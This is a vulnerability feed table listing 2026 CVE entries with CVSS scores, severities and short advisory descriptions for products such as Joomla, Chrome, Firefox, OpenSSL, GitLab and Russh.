CVE-2026-90906	New	5.9	MEDI				Joomla! Core - [20260901] - XSS in HTMLHelper::link method in Joomla 1.5.0-5.4.8, 6.0.0-6.1.3 - Lack of escaping leads to XSS vulnerabilities in the link method of the HTML Helper.
CVE-2026-90914	New	5.9	MEDI				Joomla! Core - [20260904] - Core - XSS in the generic media output layouts in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - Lack of escaping leads to an XSS vulnerability in the generic audio and video output layouts.
CVE-2026-92224	New	5.9	MEDI				Joomla! Core - [20260911] - Core - XSS in link toolbar layout in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - The link toolbar layout did not properly escape inputs, leading to an XSS vector.
CVE-2026-92225	New	5.9	MEDI				Joomla! Core - [20260912] - Core - XSS in module list in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - The module list layout did not properly escape user supplied values, leading to an XSS vector.
CVE-2026-102938	New	5.8	MEDI				virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.11, PyEnvCfg.write() writes prompt values verbatim to the line-oriented pyvenv.cfg format while PyEnvCfg._read_values() parses the file with str.splitlines() and accepts the last value for duplicate keys. An attacker who influences --prompt, VIRTUALENV_PROMPT, or configuration input can ins...
CVE-2026-102371	New	5.7	MEDI				In wsl-pro-service before 0.1.19ubuntu3, the service component which runs as root inside each WSL instance attaches the instance to Ubuntu Pro by executing the pro client with the Ubuntu Pro token passed as a command-line argument (pro attach <token>). On systems where /proc is mounted without process-hiding mitigations (such as hidepid), which is the default in WSL, an unpr...
CVE-2026-102711	New	5.7	MEDI				Two issues in the ThreadX loadable-module loader, reached when a device loads an attacker-controlled module object via `_txm_module_manager_memory_load` / `_txm_module_manager_in_place_load` — APIs that take ONLY a base pointer, no image length, so every size/offset field in `TXM_MODULE_PREAMBLE` is fully attacker-trusted: (1) a heap OOB <code>**read**</code> (<code>code_size`</code> trusted as the ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86157	New	5.6	MEDI		0.001		Exposure of privileged IPC functionality in Progress Telerik Fiddler Everywhere before version 8.2.0 allows a local, low-privileged attacker who can modify application launch parameters and persuade a user to start the application to replace the application UI or settings with attacker-controlled content. Successful exploitation could result in disclosure of OAuth authentica...
CVE-2026-102473	New	5.5	MEDI		0.001		A flaw was found in dash. When built without libc fnmatch, the internal pmatch() matcher implements * by unbounded recursion over candidate positions. A local user who can plant filenames, or otherwise feed that matcher, can make a short multi-star pattern such as *.*.*.*.tar.gz consume excessive CPU.
CVE-2026-102491	New	5.5	MEDI				A vulnerability was identified in mahonelau kykms up to 8f130c2d85842d5b44caae78cc46d65e505949f7. The impacted element is the function QueryGenerator.doMultiFieldsOrder of the file QueryGenerator.java of the component SqlInjectionUtil. The manipulation of the argument column leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly availa...
CVE-2026-102569	New	5.5	MEDI				ClipBucket v5 through 5.5.3-#197 contains a time-based blind SQL injection vulnerability in the admin video edit function where the videoid parameter is concatenated into an UPDATE statement without proper escaping. An authenticated administrator with video_moderation permission can inject arbitrary SQL commands to extract or modify database contents.
CVE-2026-102570	New	5.5	MEDI				ClipBucket v5 through 5.5.3-#197 contains a time-based blind SQL injection vulnerability in the language update function where the language_id parameter is concatenated unescaped into the WHERE clause of an UPDATE statement. An authenticated administrator with basic_settings permission can inject arbitrary SQL payloads to extract or modify database contents.
CVE-2026-102616	New	5.5	MEDI				A vulnerability was detected in risesoft-y9 WorkFlow-Engine up to 9.6.10. Impacted is the function getByIdAndYear of the file CustomHistoricProcessServiceImpl.java of the component OAuth2 Resource Filter. Performing a manipulation of the argument year/processInstanceId results in sql injection. Remote exploitation of the attack is possible. The exploit is now public and may ...
CVE-2026-95386	New	5.5	MEDI		0.001		TTL file parser infinite loop in 4.6.0 to 4.6.8 allows denial of service
CVE-2026-95388	New	5.5	MEDI		0.001		Shardd utility crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-95390	New	5.5	MEDI		0.001		PEAK CAN TRC file parser crash in 4.6.0 to 4.6.8 allows denial of service
CVE-2026-95391	New	5.5	MEDI		0.001		ZigBee ZCL protocol dissector crash in 4.6.0 to 4.6.8 allows denial of service
CVE-2026-95392	New	5.5	MEDI		0.002		MBIM protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-95395	New	5.5	MEDI		0.001		IEEE C37.118 Synchrophasor protocol dissector memory leak in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-96415	New	5.5	MEDI		0.001		Catapult DCT2000 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96416	New	5.5	MEDI		0.001		IEEE 802.11 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-96417	New	5.5	MEDI		0.002		RF4CE protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-96418	New	5.5	MEDI		0.001		TIFF protocol dissector infinite loop in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-96419	New	5.5	MEDI		0.002		Profile import crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service and possible code execution
CVE-2026-96421	New	5.5	MEDI		0.001		USB HID protocol dissector infinite loop and memory leak in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-96422	New	5.5	MEDI		0.001		Frame protocol metadissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-96423	New	5.5	MEDI		0.001		X11 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-100287	New	5.4	MEDI				Missing authorization in the attachment history API in Devolutions Server 2026.3.5.0 and earlier allows an authenticated low-privileged user to permanently delete or restore vault attachments via a crafted API request.
CVE-2026-102305	New	5.4	MEDI				UI misrepresentation in SignIn in Google Chrome on on iOS prior to 154.0.8037.92 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-102314	New	5.4	MEDI				UI misrepresentation in TabStrip in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-102904	New	5.4	MEDI				JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 4.0.0 until 4.5.11 and 4.6.4, the PyPI Extension Manager uninstall request reaches ExtensionHandler.post, which validates extension names for installation but passes uninstall names to PyPIExtensionManager.uninstall and python -m pip...
CVE-2026-103053	New	5.4	MEDI				AiSOC versions 9.0.0 before 12.0.0 fail to enforce authentication on the response-action API endpoints when AISOC_DEV_MODE is enabled and AISOC_ACTIONS_SERVICE_TOKEN is empty in the default Docker Compose deployment. Unauthenticated attackers can list response-action integrations, submit and approve actions on behalf of arbitrary principals, and dispatch containment actions ...
CVE-2026-73599	New	5.4	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an URL Redirection to Untrusted Site ('Open Redirect') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.
CVE-2026-78229	New	5.4	MEDI				Image Scanner Driver for Linux contains an OS command injection vulnerability. An attacker who can log in to a Linux system where the affected product is installed may execute an arbitrary OS command by making certain preparations.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95279	New	5.4	MEDI				UI misrepresentation in Omnibox in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95288	New	5.4	MEDI				UI misrepresentation in Mobile in Google Chrome on on iOS prior to 154.0.8037.57 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95291	New	5.4	MEDI				UI misrepresentation in SecurityIndicators in Google Chrome on on iOS prior to 154.0.8037.57 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95294	New	5.4	MEDI				UI misrepresentation in Browser in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95307	New	5.4	MEDI				UI misrepresentation in ExtensionsMenu in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95309	New	5.4	MEDI				UI misrepresentation in Mobile in Google Chrome on on iOS prior to 154.0.8037.57 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95320	New	5.4	MEDI				Missing authorization in Navigation in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process to spoof address bar via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95321	New	5.4	MEDI				UI misrepresentation in Payments in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95323	New	5.4	MEDI				UI misrepresentation in Chromium in Google Chrome on on iOS prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to spoof address bar via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95337	New	5.4	MEDI				UI misrepresentation in Messages in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95363	New	5.4	MEDI				UI misrepresentation in FileSystem in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95364	New	5.4	MEDI				Improper input validation in Passwords in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95371	New	5.4	MEDI				Missing authorization in Views in Google Chrome on on Mac prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100295	New	5.3	MEDI				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, an internal debug interface can be enabled through an undocumented pathway, exposing functions not intended for normal operation. When activated, this interface allows actions that could unintentionally provide elevated system access.
CVE-2026-102720	New	5.3	MEDI				A DHCP server, or anyone on the LAN who answers a DISCOVER first, can make the client read about a kilobyte past the end of the received message. The option walk keeps a pointer and an offset in step, and the only bound check uses the offset: ``c /* addons/dhcp/nxd_dhcp_client.c:7538, 7572 */ while (i < length - 1) { ... size = *(++data); /* ...
CVE-2026-102807	New	5.3	MEDI				OpenClaw before 2026.9.4 contains an incorrect authorization vulnerability in the mcp.app.view method that allows read-scoped operators to execute MCP App tools requiring operator.write scope. Attackers with operator.read tokens can obtain a standalone ticket from mcp.app.view and redeem it at the MCP app view endpoint to invoke state-changing tools without proper authorizat...
CVE-2026-102845	New	5.3	MEDI				A security vulnerability has been detected in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This issue affects the function error_reporting of the file index.php of the component HTTP Response. The manipulation leads to information disclosure. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This ...
CVE-2026-53989	New	5.3	MEDI				Dockhand before 1.0.36 contains an open redirect vulnerability in the OIDC initiation endpoint that allows unauthenticated remote attackers to redirect authenticated users to attacker-controlled sites by injecting an unvalidated redirect query parameter. Attackers can craft a malicious link targeting the OIDC callback flow to capture authorization codes via the Referer heade...
CVE-2026-75804	New	5.3	MEDI				Issue summary: OpenSSL QUIC stack does not enforce connection level flow control for streams. Remote peers may send more bytes as long as they fit within the stream flow control limits. Impact summary: A malicious remote peer may exploit the lack of connection flow control for streams to make the QUIC stack receive ~100MB of memory instead of 768 KiB (default flow control w...
CVE-2026-75805	New	5.3	MEDI				Issue summary: A CMP client that requests certificate revocation on the basis of a PKCS#10 CSR may dereference a NULL pointer and terminate abnormally when processing a crafted revocation response. Impact summary: The NULL pointer dereference happens on a read which leads to a crash and a Denial of Service for the affected client application. CWE: CWE-476: NULL-pointer d...
CVE-2026-75806	New	5.3	MEDI				Issue summary: An established DTLS 1.2 association using an AEAD cipher suite can be terminated by a single unauthenticated datagram whose encrypted fragment is shorter than the mandatory explicit IV and authentication tag overhead. Impact summary: An attacker who can send a datagram that is routed to an existing DTLS 1.2 association can tear that association down without k...
CVE-2026-76875	New	5.3	MEDI				PyPy before versions 3.11.16 and 3.12.14 contains a use-after-free vulnerability in the pyexpat module's ExternalEntityParserCreate function that allows attackers to corrupt memory by supplying a crafted XML document to applications that create external-entity sub-parsers without retaining a reference to the parent parser. The child parser retains a raw C back-pointer to the...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78214	New	5.3	MEDI				An authentication bypass vulnerability exists in the protection of Actuator endpoints. The application determines whether authentication is required by matching the incoming request path against protected Actuator paths. By sending a specially crafted request containing a percent-encoded path, a remote unauthenticated attacker can cause the security check to fail to recogniz...
CVE-2026-81841	New	5.3	MEDI				Pausing a shared (public) dashboard did not revoke its access token for the endpoints that serve frontend bootstrap data. Anyone holding the link to a paused shared dashboard could still retrieve, without authenticating, the configuration of the dashboard's data sources, including stored credentials for data sources using browser access (missing authorization). Deleting the ...
CVE-2026-86556	New	5.3	MEDI				There is an information disclosure vulnerability in ZTE U30 Air. Due to improper permission control, attackers can exploit the vulnerability to obtain relevant information.
CVE-2026-95360	New	5.3	MEDI				Race condition in Editing in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95367	New	5.3	MEDI				Information leak in DataTransfer in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95384	New	5.3	MEDI				Race condition in Transactions Platform in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to potentially leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-71973	New	5.2	MEDI				U-Boot before 2026.10-rc4 contains an integer overflow vulnerability in sqfs_read_directory_table() function when allocating the directory table buffer. Attackers can supply a crafted SquashFS image with an attacker-controlled superblock metablks_count value that causes heap buffer under-allocation and out-of-bounds writes, corrupting heap memory and crashing the bootloader.
CVE-2026-81310	New	5.2	MEDI				Image Scanner Driver for Linux contains a link following vulnerability. An attacker who can log in to a Linux system where the product is installed may overwrite arbitrary files by using a special method in advance.
CVE-2026-11796	New	5.1	MEDI		0.004		Asset Suite allows unauthenticated users to access PropertiesReloadServlet, CacheFlushServlet, MetadataCacheFlushServlet and ResourceBundleReloadServlet, which could result in denial-of-service conditions affecting application availability. These servlets are designed to perform specific functions within production environment depending on how the Asset Suite application is ...
CVE-2026-22101	New	5.1	MEDI				The access to the service menu is obfuscated, but possible with only physical access. This menu exposes sensitive information such as serial numbers, MAC addresses, and WiFi network and password.
CVE-2026-49243	New	5.1	MEDI				Webmin is a web-based system administration tool for Unix-like servers. Prior to version 2.650, Webmin users who click on a malicious link to their server are vulnerable to this XSS vulnerability that could be used to execute attacker-controlled commands. This issue has been patched in version 2.650.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90916	New	5.1	MEDI				Joomla! Core - [20260906] - Core - Improper ACL checks in content history comparison view in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to view inaccessible contents.
CVE-2026-92223	New	5.1	MEDI				Joomla! Core - [20260910] - Core - Improper ACL checks for workflow stage changes in Joomla 5.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to update the workflow stage of inaccessible contents.
CVE-2026-100289	New	5.0	MEDI				Missing authorization in the gateway network scan token API in Devolutions Server 2026.3.5.0 and earlier allows an authenticated low-privileged user to generate a network scan token and perform internal network discovery and port scanning through the gateway via a crafted API request.
CVE-2026-102879	New	5.0	MEDI				ClaraVerse through 0.3.1 contains server-side request forgery protection bypasses in the download_file and scrape_web agent tools. Authenticated users can bypass hostname validation and IPv6 transition address filtering to make the server request internal services and cloud instance metadata endpoints.
CVE-2026-76733	New	4.9	MEDI				A denial-of-service vulnerability exists in the API endpoint of HPE Networking Instant On that could allow an authenticated attacker with administrative privileges to cause a denial of service. Successful exploitation could allow an attacker to interrupt the normal operation of the affected service, which resumes without manual intervention.
CVE-2026-71189	New	4.8	MEDI				An attacker can construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
CVE-2026-71974	New	4.8	MEDI				U-Boot before 2026.10-rc3 contains an out-of-bounds write vulnerability in read_slotted_partition() that fails to validate image size against partition bounds. Attackers with physical access can supply crafted boot media with oversized headers to write past the load buffer into bootloader memory on devices without Android Verified Boot protection.
CVE-2026-76734	New	4.8	MEDI				A memory corruption vulnerability in the affected interface of HPE Networking Instant On could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to interrupt the normal operation of the affected service and to access some limited information within the affected component.
CVE-2026-95305	New	4.8	MEDI				UI misrepresentation in Chromoting in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to spoof UI elements via crafted network traffic. (Chromium security severity: Low)
CVE-2026-95346	New	4.8	MEDI				UI misrepresentation in Chromoting in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to spoof UI elements via crafted network traffic. (Chromium security severity: Medium)
CVE-2026-102307	New	4.7	MEDI				Uninitialized resource in Dawn in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102313	New	4.7	MEDI				Uninitialized resource in ANGLE in Google Chrome on on Windows prior to 154.0.8037.92 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102318	New	4.7	MEDI				Out of bounds read in WebGL in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102630	New	4.7	MEDI				UnoPim versions before 2.0.1 and 2.1.1 trust all connecting clients as proxies and honor the X-Forwarded-Host header without validation, allowing unauthenticated attackers to inject arbitrary origins into admin layout pages. Attackers can set X-Forwarded-Host to redirect JavaScript asset loading to their server, and when responses are cached by shared proxies, subsequent adm...
CVE-2026-102771	New	4.7	MEDI				A security vulnerability has been detected in Naichen ThinkCMF up to 8.0.7. Affected by this issue is the function MailController::templatePut of the file cmf-api/src/admin/controller/MailController.php of the component Email Template. The manipulation leads to improper neutralization of special elements used in a template engine. The attack is possible to be carried out rem...
CVE-2026-102843	New	4.7	MEDI				A security flaw has been discovered in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. This affects the function hapus of the file application/modules/admin/controllers/data_galeri.php of the component Endpoint. Performing a manipulation of the argument gbr results in path traversal. The attack can be initiated remotely. The exploit has been re...
CVE-2026-102846	New	4.7	MEDI				A vulnerability was detected in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. Impacted is the function sistem.php::simpan of the file application/modules/admin/controllers/sistem.php of the component Configuration Handler. The manipulation of the argument tipe/title/content_setting results in improper authorization. The attack may be launched...
CVE-2026-102912	New	4.7	MEDI				A vulnerability was identified in SourceCodester Online Leave Management System 1.0. This issue affects some unknown processing of the file /admin/?page=reports. The manipulation of the argument date_start/date_end leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.
CVE-2026-73595	New	4.7	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, Versions prior to 5.36, contains a Download of Code Without Integrity Check vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Code execution, Information disclosure, Information tampering, and Protection mechanism bypass.
CVE-2026-95293	New	4.7	MEDI				Uninitialized resource in GPU in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-95332	New	4.7	MEDI				Use of uninitialized variable in Tint in Google Chrome on on Android prior to 154.0.8037.57 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95393	New	4.7	MEDI		0.001		CSN.1 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-95394	New	4.7	MEDI		0.001		Microsoft Network Monitor file parser large loop in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96420	New	4.7	MEDI		0.001		Toshiba file parser crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service
CVE-2026-95295	New	4.6	MEDI				Information leak in Mobile in Google Chrome on on iOS prior to 154.0.8037.57 allowed a local attacker to leak sensitive information via physical access. (Chromium security severity: Medium)
CVE-2026-102877	New	4.4	MEDI				Fider before 0.38.0 contains a server-side request forgery vulnerability due to a time-of-check time-of-use gap in URL validation for webhooks and custom OAuth provider endpoints. Administrators controlling DNS can perform DNS rebinding attacks to make the Fider server send requests to internal services or cloud metadata endpoints.
CVE-2026-100766	New	4.3	MEDI				Information disclosure in the Networking: JAR component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100783	New	4.3	MEDI				Uninitialized memory in the Audio/Video component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, Firefox ESR 115.42, and Firefox ESR 140.17.
CVE-2026-100799	New	4.3	MEDI				Uninitialized memory in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 157.
CVE-2026-100802	New	4.3	MEDI				Uninitialized memory in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 157.
CVE-2026-100806	New	4.3	MEDI				Uninitialized memory in the Graphics: WebGPU component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-102300	New	4.3	MEDI				Uninitialized resource in WebGPU in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102303	New	4.3	MEDI				Uninitialized resource in GPU in Google Chrome on on Android prior to 154.0.8037.92 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102325	New	4.3	MEDI				Uninitialized resource in Skia in Google Chrome prior to 154.0.8037.92 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102824	New	4.3	MEDI				Russh is a Rust SSH client and server library. Prior to 0.63.0, the hybrid ML-KEM 768 and X25519 implementation in russh/src/kex/hybrid_mlkem.rs accepts an all-zero 32-byte peer X25519 public key in both server_dh and compute_shared_secret, forcing the X25519 contribution to the combined shared secret to zero. A malicious SSH peer can therefore make the combined secret depen...
CVE-2026-102847	New	4.3	MEDI				A flaw has been found in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. The affected element is the function kirim of the file application/modules/web/controllers/buku_tamu.php of the component Guest Book. This manipulation of the argument nama/email/pesan causes cross site scripting. Remote exploitation of the attack is possible. The exploit ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103057	New	4.3	MEDI				AiSOC versions 5.1.0 before 12.0.0 contain an authentication bypass vulnerability in the realtime service internal endpoints POST /internal/agent-event and POST /internal/push. Attackers can post arbitrary events with spoofed tenant identifiers to broadcast malicious content over WebSocket and Redis SSE channels or send unauthorized notifications to registered devices.
CVE-2026-10518	New	4.3	MEDI		0.003		GitLab has remediated an issue in GitLab EE affecting all versions from 17.9 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user with guest-level permissions to read private security policy content they were not authorized to access due to improper authorization enforcement.
CVE-2026-71897	New	4.3	MEDI				An improper authorization check in Apache DolphinScheduler allows an authenticated user to use the batch-copy and batch-move endpoints to operate on workflows in projects for which they lack the required permissions. This may allow the user to copy or move workflows from unauthorized projects. This issue affects Apache DolphinScheduler: before 3.4.3. Users are recommen...
CVE-2026-71898	New	4.3	MEDI				An incorrect authorization check in Apache DolphinScheduler allows an authenticated user with only read permission for a project to modify a workflow instance in that project through the PUT /projects/{projectCode}/workflow-instances/{id} endpoint. The endpoint does not enforce the write permission required for this operation, allowing the user to make unauthorized changes t...
CVE-2026-76720	New	4.3	MEDI				A vulnerability in HPE OneView can be remotely exploited to cause a URL redirect.
CVE-2026-79348	New	4.3	MEDI				KitchenAsty through 0.3.0 contains a broken object level authorization (IDOR) vulnerability in the reservations API. The endpoint GET /api/reservations/:id in packages/server applies the authenticate middleware but performs no ownership or role check, and the getReservation handler in packages/server/src/controllers/reservation.controller.ts returns the record retrieved by t...
CVE-2026-81569	New	4.3	MEDI				An improper authorization vulnerability exists in the handling of sub-workflow tasks. An authenticated user who does not have permission to access a target project can reference and invoke a workflow belonging to that project through a sub-workflow task. The system does not properly verify whether the user has permission to execute the referenced workflow or access its pr...
CVE-2026-81842	New	4.3	MEDI				An authenticated user with edit permission on one folder can move a library panel into another folder where they only have view permission, through the library elements API or the equivalent App Platform resource. The update path did not check library panel create permission on the destination folder (incorrect authorization). No data from the destination folder is disclosed...
CVE-2026-81914	New	4.3	MEDI		0.002		Apache Airflow's Google provider built Google Drive search expressions by interpolating file and folder names directly into single-quoted string literals, without escaping the quote character that delimits them. A name containing an apostrophe therefore terminated the literal early and appended clauses of the attacker's choosing to the query. The names are frequently not wr...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-8937	New	4.3	MEDI		0.003		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to read private child issue contents, including titles and descriptions, from projects they had no access to, due to missing authorization checks on linked work items w...
CVE-2026-93330	New	4.3	MEDI				Improper rule enforcement in the PAM Active Directory provider in Devolutions Server 2026.3.5 allows a user with PAM edit permissions to bypass the Devolutions Gateway host ruleset.
CVE-2026-95289	New	4.3	MEDI				Incorrect authorization in Scroll in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95296	New	4.3	MEDI				Missing authorization in Core in Google Chrome on on Mac prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95368	New	4.3	MEDI				Incorrect authorization in DevTools in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to potentially obtain cross-origin data via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-96869	New	4.3	MEDI				Information disclosure in the Networking component. This vulnerability was fixed in Firefox ESR 153.4, Firefox 157, and Firefox ESR 140.17.
CVE-2026-76735	New	4.1	MEDI				A sensitive information disclosure vulnerability exists in the underlying operating system of HPE Networking Instant On. Successful exploitation could allow an authenticated local attacker with high privileges to retrieve information which could be used to potentially gain further access to network services supported by HPE Networking Instant On, only if certain precondition...
CVE-2026-102474	New	4.0	MEDI		0.001		A flaw was found in dash. The printf builtin reserves four bytes before converting a Unicode \u or \U escape, but the multi-byte token can need five or six bytes. A local user who can supply such an escape to dash printf or echo %b, including through dash -c and a positional argument, can write one or two bytes past that reservation.
CVE-2026-73596	New	3.8	LOW				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Initialization of a Resource with an Insecure Default vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges, Information tampering, Protection mechanism bypass, and Unauthorized access.
CVE-2026-102635	New	3.7	LOW				ImageMagick versions before 7.1.2-32 and 6.9.13-57 contain uninitialized heap memory disclosure in the GIF decoder's application extension handler in coders/gif.c. Attackers can craft malicious GIF files that cause the number parser to read uninitialized heap memory and store contents as image metadata, disclosing sensitive heap information.
CVE-2026-102822	New	3.7	LOW				Russh is a Rust SSH client and server library. Prior to 0.63.1, a connection configured to permit mac=none can negotiate it with a MAC-requiring CTR or CBC block cipher because the selection logic validates needs_mac() only when MAC selection fails. A remote peer can then send a packet with a decrypted length of zero, causing russh/src/cipher/mod.rs to shrink the previously ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102825	New	3.7	LOW				Russh is a Rust SSH client and server library. Prior to 0.62.6, the USERAUTH_REQUEST path reached from server::run_stream in russh/src/server/encrypted.rs increments self.common.auth_attempts but never compares it with server::Config.max_auth_attempts. An unauthenticated remote client can continue submitting authentication requests on one connection beyond the configured cap...
CVE-2026-4523	New	3.7	LOW		0.003		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an unauthenticated user to read CI/CD job trace contents containing sensitive variable values due to improper authorization enforcement in the GraphQL API.
CVE-2026-54872	New	3.7	LOW				Issue summary: The generic elliptic-curve scalar multiplication used for ECDSA and SM2 signature operations with curves that do not have a dedicated implementation leaks information about the secret nonce through timing. Impact summary: An attacker able to measure signing times may learn information about the per-signature secret nonce, which over many signatures can, via a...
